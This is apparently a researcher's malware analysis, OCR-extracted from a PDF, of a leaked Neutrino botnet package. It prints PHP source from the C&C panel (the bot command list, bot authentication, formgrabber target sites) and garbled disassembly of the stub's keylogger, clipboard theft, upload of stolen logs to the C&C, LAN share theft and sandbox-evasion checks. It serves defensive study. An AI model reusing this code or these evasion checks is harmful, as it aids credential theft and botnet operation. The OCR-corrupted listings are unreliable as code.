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It is common practice among cybercriminals to sell their products in the form of packages,
consisting of:

* a malicious payload — a frontend of the malware that is used for infecting users

e a C&C panel — a backend of the malware, usually designed as a web-application, often
dedicated to LAMP environment

» a builder — an application used for packing the payload and embedding in it
information specific for the interest of the particular distributor (the C&C address, some
configuration, etc)

Such packages are commercial products sold on the black market. However, from time to
time it happens that the product leaks into mainstream media. It gives researchers a
precious opportunity to take a closer look on the used techniques.

Recently, | found a leaked package containing the builder for the Neutrino botnet. It is not
the newest version (as usually the case), but it still provides lot of useful information that can
help in comparative analysis with the samples that are nowadays actively distributed.

Elements involved
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— Neutrino Builder — 32 bit PE, written in VS2013, packed with Safengine Shielden
v2.3.6.0 (md5=80660973563d13dfa57748bacc4f7758)

— panel (written in PHP)

— stub (payload) — 32 bit PE, written in MS Visual C++
(md5=55612860c7bf1425c939815a9867b560, section .fext
md5=07d78519904f1e2806dda92b7c046d71)

Functionality

Neutrino Builder v3.9.4

The builder has been written in Visual Studio 2013, and it requires the appropriate
redistributable package to run. The provided version is cracked (as the banner states:
“Cracked and coded by 0x22”).

The functionality of this tool is very simple — it just asks a user for the C&C address and
writes it inside the payload:

B.| C\Usersitester\DesktopiMeutrino v3.6 Builder.exe o || = ER

Success!

File has been successfully patched!

Comparing 2 payloads — the original one, and the one edited by the Builder, we can see that
changes made by the builder are really small — it simply encrypts the supplied URL and
stores it in the dedicated section.

Below: left (stub) — original payload, right (test_stub.exe) — edited payload.
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Mame * Date modified Type Size
htaccess 2015-07-17 16:23 HTACCESS File 1KB
|| 404, php 2015-07-17 16:23 PHP File 1KE
allincne,js 2015-07-17 16:23 JScript Script File 201 KB
|| auth.php 2015-07-17 16:23 PHP File 3 KB
i | bootstrap.css 2015-07-17 16:23 Cascading Style 5... 244 KB
bootstrap-datepicker.js 2015-07-17 16:23 J5cript Script File 13 KB
i | bootstrap-theme.css 2015-07-17 16:23 Cascading 5Style 5. 15 KE
browser_cookie_remover.bat 2015-07-17 16:23 Windows Batch File 4 KB
|| codeZname.php 2015-07-17 16:23 PHP File 9 KB
|| config.php 2015-07-17 16:23 PHP File 2 KB
|| eountries.php 2015-07-17 16:23 PHP File 6 KB
& | custom.css 2015-07-17 16:23 Cascading Style 5. &4 KB
i | datepicker.css 2015-07-17 16:23 Cascading Style 5... 5KBE
|| functions.php 2015-07-17 16:23 PHP File 20 KB
|| GeolP.dat 2015-07-17 16:23 DAT File 1235KE
|| geoip.php 2015-07-17 16:23 PHP File 42 KB
|| geoipregicnvars.php 2015-07-17 16:23 PHP File 95 KB
v glyphicons-halflings-regular.ttf 2015-07-17 16:23 TrueType font file 41 KB
|&| indexhtml 2015-07-17 16:23 Firefox HTML Doc... 1KE
|| index.php 2015-07-17 16:23 PHP File 1KE
| || install.php 2015-07-17 16:23 PHP File 17 KB
|| readme.tet 2015-07-17 16:23 Text Document 12 KB
|| redirphp 2015-07-17 16:47 PHP File 3KE
|| tasks.php 2015-07-17 16:23 PHP File TKB

The package contains full instructions written in Russian (readme.txt), where we can find

many interesting details about the functionality (examples below).

= index php I'EI = corfig.php f3| = countries php I'EI = functions php I'BI = gecip php f3| = gecipregionvars php I'BI =l tasks php E3 = readme b Eﬂl

| !
/7 LAY, /
Y A A
P D Y A VP A A
~ Stress testing tool
BHHUMaHKe L

_ 7
I,

YAV A A |
fo0 i _boty

KoMnnekc npegHazHadyed and TecTHPOoBaHWA COGCTEEHHWX CHCTeM Ha oTKazoy CToHRYHBOCTb.

1) ¥CTAHOBHTE Ha ckpunTe config.php W install.php npaea 777.

2) AnA yCTaHoBKKM 3anycTHTE CKpUNT nstall.php M cnefoBaTk WHCTPYHUMAM.

4) Norud v naponk No yMmoadaduke admingadmin.
He zabtyaeTe ypanuTe ckpunt Tnstall.php nocne ycraHoBHM.

EawHo :

Ana cozpannna Gunga, Eam noTpedyertcd faTk MHE MOAHER NyTe go ckpunta tasks.php wan redir.php (npoknapkal .
E redir.php B nepeMeHHol Surl pgoamed GuTE yHa2aTe NoAHWE NyTe K tasks.php 2akcfnpoBaHHuii anropuTMom base&d.

3) MNocne ycTaHoBKe CKPUNT ERAacT BaMm CChNKY Ha BXof B NaHelb, COXpaHuTe eé,

Mpoknagka MomeT GWTEL YCTaHoBAeHa Ha NwGomMm cepeepe C Nopggepweoid php.

Ana KoppeKTHoW padoTe NoMcka no poram gopurpaééepa, HeofGxoguM yCTaHoBNeHHBH MySOL Bepcun He Huke 5.6
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The requirements for the panel installation:

e PHP
o MySQL not lower than 5.6 (for the full functionality)

Default login and password to the panel: admin, admin
Tasks performed by the infected client on demand:

 various types of DDoS attacks

» keylogging (enable/disable), including — trace text in a defined window

« find file of the defined type

e update bot

e remove bot

o DNS spoofing (redirect address X to address Y)

e Formgrabbing, stealing FTP credentials

» download and execute a file one of the following types (EXE, DLL, bat, vbs)
e add defined entry into the Windows Registry

Full list of commands sent to bot:
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function EncodeCommand($command)

{
switch (strtolower($command)) {
case "ddos":
return "http";
break;
case "https ddos":
return "https";
break;
case "slowloris ddos":
return "slow";
break;
case "smart http ddos":
return "smart";
break;
case "download flood":
return "dwflood";
break;
case "udp ddos":
return "udp";
break;
case "tcp ddos":
return "tcp";
break;
case "find file":
return "findfile";
break;
case "cmd shell":
return "cmd";
break;
case "keylogger":
return "keylogger";
break;
case "spreading":
return "spread";
break;
case "update":
return "update";
break;
case "loader":
return "loader";
break;
case "visit url":
return "visit";
break;
case "bot killer":
return "botkiller";
break;
case "infection":
return "infect";
break;
case "dns spoofing":
return "dns";
break;
}
return "failed";
}

C&C is very sensitive for illegitimate requests and

the source:

reacts by blacklisting the IP of
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function CheckBotUserAgent($ip)

{
$bot_user_agent = "Mozilla/5.0 (Windows NT 6.1; WOW64; rv:35.0) Gecko/20100101 Firefox/35.0";
if ($_SERVER['HTTP_USER_AGENT'] != $bot_user_agent) {

AddBan($ip);

}

if (!isset($_COOKIE['authkeys'])) {
AddBan($ip);

}

$cookie_check = $_COOKIE[ 'authkeys'];

if ($cookie_check != "21232f297a57a5a743894a0e4a801fc3") { /* md5(admin) */
AddBan($ip);

}

}

Looking at install.php we can also see what are the formgrabbing targets. The list includes the most
popular e-mails and social networking sites (facebook, linkedin, twitter and others).
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$ff_sett = "INSERT INTO "formgrabber_host™ ( hostnames®, “block’) VALUES"
"('capture_all',
'.microsoft.com\r\ntiles.services.mozilla.com\r\nservices.mozilla.com\r\n.mcafee.com\r\nvs.mcafeeasap.com\r\nscan.pchealthadvisor.com\r\navg.com\r\nrrs.symantec.com\r\r
\r\n.msg.yahoo.com\r\ngames.yahoo.com\r\n.toolbar.yahoo.com\r\nquery.yahoo.com\r\nyahoo.com/pjsal\r\neBayISAPI.d11?
VISuperSize&amp;amp;amp;amp;item=\r\nbeap.bc.yahoo.com\r\n.mail.yahoo.com/ws/mail/vi/formrpc?
appid=YahooMailClassic\r\n.mail.yahoo.com/dc/troubleLoading\r\n.mail.yahoo.com/mc/compose\r\nmail.yahoo.com/mc/showFolder\r\nmail.yahoo.com/mc/showMessage\r\ninstallers
analytics.com/collect\r\nmaps.google\r\nnews.google\r\ngoogleapis.com\r\noogle.com/u/0/\r\noogle.com/u/1/\r\noogle.com/u/2/\r\noogle.com/u/3/\r\noogle.com/u/4/\r\noogle
channel/channel/\r\noogle.com/cloudsearch/\r\noogle.com/document/\r\noogle.com/dr\r\noogle.com/act\r\noogle.com/pref\r\noogle.com/cp\r\noogle.com/drive/\r\noogle.com/os
uilr\noogle.com/calendar\r\nogle.com/logos/\r\noglevideo.com\r\noglesyndication.com/activeview\r\nreddit.com/api/\r\ngeo.opera.com\r\n.com/do/mail/message/\r\nhttpcs.ms
friends/\r\nfacebook.com/growth/\r\nfacebook.com/int1l/\r\nfacebook.com/logout\r\nfacebook.com/mobile/\r\nfacebook.com/photos/\r\nfacebook.com/video/\r\nfacebook.com/plt
trk\r\nlinkedin.com/wvmx/\r\nmyspace.com/beacon/\r\nmyspace.com/ajax/\r\nok.ru/app\r\nok.ru/gwtlog\r\nok.ru/?
cmd\r\nok.ru/dk\r\nok.ru/feed\r\nok.ru/game\r\nok.ru/profile\r\nok.ru/push\r\nplayer.vimeo.com\r\nsgsapps.com\r\nmyfarmvillage.com\r\napi.connect.facebook.com\r\nuploac
wa=wsigninil.0\r\nusers.storage.live.com/users/\r\naccount.live.com/API/\r\nmail.live.com/mail/mail.fpp\r\nmail.live.com/mail/options\r\nmail.live.com/01/\r\nmail.live.c
abn-finder/\r\namazon.com/gp/registry/wishlist/"')";

$ff_hostname = "INSERT INTO “formgrabber_host™ (“hostnames’) VALUES ('live,mail,paypal')";

The main file used for communication with the bot is tasks.php. Only POST requests are accepted.

Below: adding information sent by a bot into the database:
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if ($_SERVER["REQUEST_METHOD"] != "POST") {
AddBan(Sreal_ip);
3}

CheckBotUserAgent($real ip);
CheckBan($real_ip);
if (isset($_POST['cmd'])) {

stime = time();
$date = date('Y-m-d H:iis');

$hot_ip = $real_ip;
$hot_os = $_POST['0s'];
$bot_name = urlencode($_POST['uid']);

$bot_uid = md5($bot_os . $bot_name);

$bot_time = Stime;
$bot_date = $date;

$hot_av = strip_data($_POST['av']);
$hot_version = strip_data($_POST['version']);
$bot_quality = intval($_POST['quality']);

$gi = geoip_open("GeoIP/GeoIP.dat";, GEOIP_STANDARD);
$bot_country = geoip_country_code by addr($gi, $bot ip);
if (Sbot_country == null) {
$hot_country = "01";
3}
geoip_close($gi);

Opening index.php causes adding client’s IP into a blacklist (unconditional):
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ConnectysQL(Sdb_host, $db_login, $db_password, $db_database);
CheckBan(Sreal ip);
AddBan($real_ip);

Stub

All the commands that can be found in the backend are reflected in the frontend. We can see it clearly, because the payload is not obfuscated!

Hard-coded authkey, that is checked in by the C&C occurs in every request sent by the bot:

rdata:@0413370
-rdata:88413378
rdata:@0413370
-rdata:88413378
rdata:B88413378
rdata:@0413370
-rdata:88413378
rdata:@0413370

_rdata:08413370 aPostSHttp1_BHo db 'POST %s HTTP/1.8°,8Dh,B8Ah ; DATA XREF: sub_4B898F8+1E@To

db 'Host: %s',8Dh,B8Ah

db ‘'User-fAgent: Mozilla/5.8 {(Windows HT 6.1; WOWG4; rv:35.8) Gecko/28@’
db 188181 Firefox/35.08",00h, 080K

db 'Content-type: application/x-www-form-urlencoded’,BDh,B8Ah

db 'Cookie: authkeys=21232f297a57a5a743894a0e4a881fc3 ", 80h, B8R0

db ‘Content-length: %i',@Dh,8AhK

db 80h,B8Ah

db "%s',8Ah,A

Bot is registering itself to C&C, reporting its version and environment:

"™E

004 05A DS
BOLYASABS report_hot dataz

Be4ESABE push BCX
BR4ASABE push offset ad_9 &4

BR4ESATF push edx
BR4ASATE push 2ax
BR4ESAZS push BCH
BBYESAZE push edx

BR4YESAZF call dsiwsprintFW
BByeasAAS add esp, 1Ch

BE4ASABS moy ecx, [ebpruvar_1218]

BaYESAT1 lea edx, [ebp+var_1628]
BBYESATE lea eax, [ebp+var_1830]
BBYESATF lea ec¥, [ebp+uvar_1A3E]

BeyEsA26 push offset aCpd1UidS0sSAvS “cmd=1kuid=-¥shos~Eskav=-Sstversion-%shqua"
BB4YASAZE mow edx, [ebp+uar_ 8]

acmd1Uidsa
B0405A38 jmp short loc W05A,n5rgde ) <cmd=18&uid=%s&os=%s&av=%s&ue>

Implementation of the
examples):

g g

= PUETR
; const WCHAR aCmd1UidS0sSAuvS

commands requested by the C&C (selected

Downloading specified payload form the C&C:
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QO4DIBEC push EH]

HOAB3RSD push offset VarHame

@AMBARG2 call geteny
DONDARGT add ESp, B
HHNHIROA push Pax

AA4DARGE push offset asb_D_%
DO4NB3IARTA lea eax, [ebp+*Dest]

AONBARTH push rax
Q040877 call SprintF

Dest

»

AONBIRTE add esp, 18h

@A4BARTF now [ebp+var 189], 1
Q04030846 call clock

AHNUERAE now ecx, [ebpe*Dst]
0403RD1 add eax, [Ecx+5100]
QONBIRRT mow [ebptuar 1187, eax

i¥

loc LEIRDD:
nowzx  edx, [ebpewar_1089]
test e, pix
jz short loc 403BF6
™1 =
L | L |
(il i = il s =
D0NB3BAE push L i LPBINHDSTATUSCALLBACK] | 0% B3BF6
A0sB3BAN push L} ; DWIRD AANBABFA loc LEARFA:
AO403BAC 1ea epax, [ebpebest] AONDABFS mow eax, [ebpeDst]
A0HB3IBEZ push Eax i LPCSETR AONBIAFLE push Bax i lpAddress
AO&A3BE3 now vcx, [ehpebst] B4 02BFD call FreeBufFer
Q0403809 add BCE; b apup3CE: add esp, 4
AONH3BBRLE push BLXE : LPCETR AALBACES push L]
LUETEEl : B HKEHOWH A040ACE7 call _endthreadex
P pemrrrrE | toasace oar o
LLELELH . e " . AN 0ACHF wor BaK, eax
AA&BABCH cop [ebp+uar_118], @ ONAB3C11 mow esp, ebp
BON0IBD1 jnz short loc MEBED BANBACAD pop ehip
ABN0ACAL retn L]
A05B3C1S downloadPapload endp
LLE =y E
Keylogger (fragment)
G407 24D push edx ; duwhkl
88487 94E push L] ; wFlags
aeua79%a push 18h ; cchBuff
aaua7e5s2 lea eax, [ebp+puszBuff]
Beua795%8 push eax ; puwszBuff
aaua7959 lea ecx, [ebp+KeyState]
Baua79%F push ecx ; lpKeyitate

ABLO7260 movsy edx, [ebp+arg_ @]

aaua7 264 push edx ; wicanCode
BLA7P65 movsx eax, [ebp+arg_ @]

apy a7 969 push eax ; wlirtKey
BLA7?6A call ds:TolnicodeEx

aaua797TA push 16h ; nlirtKey
|BdLa7I7T2 call ds:GetKeystate

ABLA7ITE mousx  PCx, ax

ALa7ITE and ecx, Bih

ABLA7IR1 xor edx, edx

AaLa7983 cmp ecx, 80h

BLA7IRY setz dl

Ba4A7 IR0 mov [ebp+var_1609], dl

AALATI9Z push 14h ; nlirtkey

ALA7IPL call ds:GetHeysitate

Framegrabber (fragment)
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e

ABLBFBAS x=or Pax, Pax
ABLAFEAY mov [ebp+5tring], ax
BB4BFBAE push 206h 7 Size
ABLB7BRI push " ; Ual
AL a7ERS lea ecx, [ebp+var_ B2E]
A4 a7BRE push PCH ; Dst
ABLAFBREC call memse t
B0487BC1 add esp, BCh
B4ATBCY push 1040 » nMaxCount
AL aFRcY lea edx, [ebp+3tring]
BO4BTBCF push edx » 1pString
ap4aFeEDA call ds:GetForegroundWindow
By a7EDE push eax » hvnd
apyereDdy call ds:GetWindowTextW
a4 a7EDD test eax, eax
04 B7BDF jle short loc_ 4@7COE
I‘ |
"
BB4AYBEY lea eax, [ebp+*sString]
BO4BTBEY push eax
BB4ATBER push offset asSTime v wn[ %5 |
BO4BTBED lea ec¥, [ebp+uar_&20]
BBLBTBF3 push BCX ; LPWSTR
BO4BTBFY call dswusprintFW
Bao4aTBFA add esp, BCh
BB4BTRFD push 1 : char
BO4YBTBFF lea edx, [ebp+uar 6208
BBNBTCOS push edx T StE
BEuATCAG call logToFile
steal Clipboard content (fragment):
¥
™
BB4ATECE push Abh ; UFormat
BBLATECA call ds:GetClipboardbata
BB4ATEDA movw [ebp+hHen], eax
BOLATEDI mov eax, [ebp+hHen]
BB4ATEDS push 2ax » hHem
BOLBTEDY call ds:Globallock
BB4ATEDD mow [ebpe5tr], eax
BOLBTEED mov ecx, [ebpeStr]
BB4BTEES push BCX HE 0
BOLBTEEL call wcslen
BB4YATEEY add esp, 4
BOLBTEEC cmp eax, 104h
BB4B7EF1 jnb short loc_ WB7FAF
Iil
FPIE
BO4ATEF3 push " ; char
BALATEFS push offset aClipbrd ; ““nCLIPBAD: 0"
BB4ATEFA call logToFile
BOLBTEFF add esp, 8
BO4ATF B2 push " » char
BOLATFO% mov edx, [ebpeStr]
BO4ATF A7 push edx v Str
BBLA7FBE call logToFile
a4avFaD add esp, B
BBLBTF10 push H ; char
BB4ATF12 push offset asc_K13248 ; W™
BBLATF1Y call logToFile
BB4ATFIC add esp, B

The stolen content (i.e. logged keys) is saved in a file(logs.rar). Further, the file is read and uploaded to the C&C:
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i

LLET Ry ]
AANAR2 76 loc_ LBRD
QL8276 push
QONBBZ7E push
GA%0E270 push
Q0N0827C push
ARuBR27E push
GiLia28dE push
DONBBZES push
AfaE2an call
00408298 now
ARNER200 chp
Gilia2 oD jz

Th: ; WTemplateFile

L]

L] ; dwklagsandAttributes
] ; delreationbisposition
o : 1pSecurityAttributes
1 ; dwihareHode

BODdRdEdah : dwbesirediccess
offset alogs_rar_B ; “logs.rar

ds:CreateFilew
[ebpshFile], eax
[ebpshFile], BFFFFFFFFR
short loc_ 408362

"_l I

(ol et =

Q0ND329F push
ABSBE2AT now
QON082AT push
AnspEIAl call

e, [ehpshFile]

ds:GetFileSize

: 1pFilesizeHigh

: hFile

ABN0E2AE now [ebpevar_ 1807, eax
Q0NBSZEN now eax, [ebp+hFile]
ARLBR2EN push A : hilbject
Q0408200 call ds:Closelandle
AONBS2CT crp [ebpevar_148], B8
ABN082CH jbe short loc S082F7
J
1
[ e 2
DONESZCA Pow ecx, [ebp+lpBuffer]
ARSAE208 push rEX ; IpFileHane
Q0408201 now edg, [ebprarg C]
ABNBR2I0N add edg, OH1HK
AikBE2DA push e : IpWideCharStr
DONpRZDE call _sendFile
AR%AE2ESR add rsp, #
QO4DE2ET] nowzs eax, al
AONBEZES test PaX, Pax
dfLOE2ER jr short loc_ LEE2FS
L |
wrapping the file in a POST request:
0410282 add Bsp, 4
%125 now B5i, eax
041 E207 add esi, [ebproar_1G]
oo%dB2en add esi, [ebpernHumberdfEytesToRkead]
A1 BZBD now vax, [ehproar 2]
Gia102i@ push eax : Str
dos1eEi1 call strien
a0k E216 add esp, &
QN1 8219 lea ecx, [eslrpax+?]
41 010 now [ebpevar (], ecx
Q0410228 push  BOOL ; dusize
a0u1B22s call  allocBuffer
ansTER2A add eup,
HTBZZD now [ebpebuf], eax
051 I230 now edi, [ehpsvar_ 2]
0410233 push  eds
a0NTB2IN now eax, [ebpsvar L]
ARS1IZ7 push  rax
0410298 now ecx, [ebptnams]
Bi%1 B23E push BCx
04T B2AC now eilx, [ebpsvar_i]
D041 B2IF push edx
BONTBRLE push  offset aPostSHEERI_B.2 © “POST s WITR/ 1. Burinkost s Sshrinbookie "
B4 BZLE now eax, [ebpebuf]
QRTINS push  eax ; LPSTR
0a1EEN0 call  ds:
ov ez ata F:EL: ' ; CHAR aPostSHttpl @ 2[]
now ehpevar 357, @ ' . o
B0A10256 now E“‘_' dword pir [eDPaPnstSHttp1_ﬂ_2 db 'POST %s HTTP/1.8° ,8Dh,8A0 ;
AON1IESY push  ecx T _ db 'Host: %s',8Dh,08Ah
0410250 now ede, [ebpename] db
MH1BZSD push  eds ;
BOS1IZSE call  sub_YEFRES db
WA10266 mor  [ebpes]. eax db 106181 Firefox/35.8',6Dh,0Ah
:3:5:3;? {;n;kﬁFW"f”h db 'Connection: close’,8Dh, 8Ah
= db 'Content-Length: %d',8Dh,8Ah
db 'Content-Type: multipart/form-data; boundary=
m db *-————— %d",8Dh, BAh
0H1BZFI Aow L —

DATA XREF: sendFile+238To

‘Cookie: authkeys=21232f297a57a5a743894a0e4a801fc3" ,0D0h,0AN

‘User-Agent: Mozilla/5.@ {(Windows NT 6.1; WOW6L; ru:z35.8) Gecko/28'

Also, success and failure of every task requested by the C&C is reported by the bot:
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BO4OSIF1 chp

[ebpswar_1a78], 1

BB4B59FE jz short loc_&85A3R
1
¥
chp [ebprvar_1a78], 2
jz short loc_&B5A52
1
L ] 3
3E“m FIPIE
B |BB4B5AS2 B04B5AIA
DBLA5A52 loc_HLOSAS2: 0D4O5AIA Loc_LOSA3R:
BB4YASAS2 mow edx, [ebprarg_ @] BB4ASAIA mow eax, [ebprarg_ 0]
BB4A5ASS push edx B0405A3D push BaK
BB4ASASE6 push offset aFailiTask_ids ;I"laii-ﬂ’-ta:l-: il:l-9;.S'I BB4ASAIE push offset aExeciTask_ids l “exec=1hktask id-%5°
BO4ASASE mow eax, [ebpevar_8] BB4A5A4I mow eck, [ebpsuar 8]
BB4BSASE push eax 7 LPWSTR BB4ESANG push PCX 7 LPWSTR
BBYBSASF call dszwsprintFy BBLASANT call ds:wsprintFi
BB4ESAGS add esp, HCh BB4ESAND add esp, BCh
| BB4YASASE jmp short loc 4B5A68
This malware is a threat not only for a local computer. It also scans LAN searching for shared resources and steals them:
k J
FI™IE
ARLAAGEA push 208N ; Size
BaLBR6BF push 1] ; Ual
auan611 lea ecx, [ebpruar_218]
ABLBAG1T push BCX ; bst
ABLR618 call menset
ABLBR61D add esp, BCh
B4ARG620 mov edx, [ebp+uar_ k]
ABLBH623 push edx
AL aR62L mov eax, [ebp+uvar_214]
BBLBR62A push Bax
ABLn62E push offset a192_168_D_D
BBLBR630 lea ecx, [ebpsvar_21@]
BBLnM636 push BLCX : LPWSTH
ABLBn63T call ds zwsprintfy
ABLyn630 add esp, 1@h
BBLBR6LD lea edx, [ebp+var_21@]
BBy BRGNS push edx
BBLBR6sT call stealShared
aByBa6Hc add esp, 4
BBLBRGSF jmp short loc_ LBNRSFB
F™E
ABLBASFR
ABLBASFE loc_4O0ASFE:
BBLBASFE mow eax, [ebp+var_k]
ABLBASFE add eax, 1
BBLBASFE mow [ebp+uar_ 4], eax

steal shared (fragment):
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|a4Ba9DCA push ebp

ap4BPDET mow ebp, esp

aBNBoDES Sub esp, L6Oh

ap4aeDcY xor edd, eax

BNBIDCE mow [ebp+Dest], ax

apupeDD2 push 2860 ; Size
aenBoeDDY push o ; Val
apuBeDDY lea ecx, [ebp+Dsit]

BBNBIDDF push ey ; Dst
BB4BPDED call memse L

0BNBYDES add esp, BCh

BB4BYDEB mow [ebp+uar 1C], offset aShareddocs ; "SharedDocs”
BBNBYDEF mow [ebp+uar_ 18], offset afdmin ; “ADNIHL
BNBPDFE mow [ebp+uar_14], offset ac ; "C&"
BNBIDFD mow [ebp+uar_ 18], offset ab ; D5
BBNBPEDN mow [ebp+war_C], offset aE ; “EL”
0BNBYEBE mou [ebp+uar 8], offset aC_@ ; "Cv
BBNBPE1Z mow [ebp+uar 4], offset ab_@ ; "'Dv
BBNBPETD xor edx, edx

BB4BYE1E mowv [ebp+Filename], dx

BBNBPEZZ push 286h ; Size

Defensive techniques

The payload also contains an extensive set of various defensive functions.

In addition to the well-known checks - like isDebuggerPresent, we can find some that are less spread - like checking the user name against names used by known sandboxes: “maltest”, “tequilaboomboon”,”sandbox”,
“virus”, “malware”. Full set explained below:

 is debugger present, via:
IsDebuggerPresent

¢ is remote debugger present, via:
CheckRemoteDebuggerPresent(GetCurrentProcess(), pDebuggerPresent)

e check if running under Wine, via:
GetProcAddress(GetModuleHandleW(“kernel32.dII"), “wine_get _unix_file_name”)

Check presence of blacklisted substrings (ignore case):

e username via:
GetUserNameW vs {“"MALTEST", “TEQUILABOOMBOOM, “SANDBOX",
“VIRUS",”"MALWARE*}

e current module name, via:
GetModuleNameW vs {*SAMPLE", “VIRUS*, “SANDBOX" }

o BIOS version, via registry key:
‘“HARDWARE\Description\System®, value “SystemBiosVersion’ against: {*VBOX",
“QEMU*, “BOCHS"}

e BIOS version, via registry key:
‘“HARDWARE\Description\System®, value “VideoBiosVersion’ against:
“VIRTUALBOX*
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e SCSI : via registry key:
‘“HARDWARE\DEVICEMAP\Scsi\Scsi Port 0\Scsi Bus O\Target Id“, value “Identifier”),
against {“"VMWARE*, “VBOX*, “QEMU"}

Check presence of:

e VMWareTools, via registry key: SOFTWARE\VMware, Inc.\\VMware Tools
o VBoxGuestAdditions, via registry key: SOFTWARE\Oracle\VirtualBox Guest
Additions

Conclusion

Malware analysts usually deal with just one piece of the puzzle from the following set — the
malicious payload. Having a look at full packages, like the one described above, helps to see
the bigger picture.

It also gives a good overview on how the actions of distributing malware are coordinated. As
we can see, criminals are provided with a very easy way to bootstrap their own malicious
C&C. It doesn’t really require advanced technical skills to become a botnet owner. We live in
age when malware is a weapon available to the masses — that’s why it is so crucial for
everyone to have a solid and layered protection.
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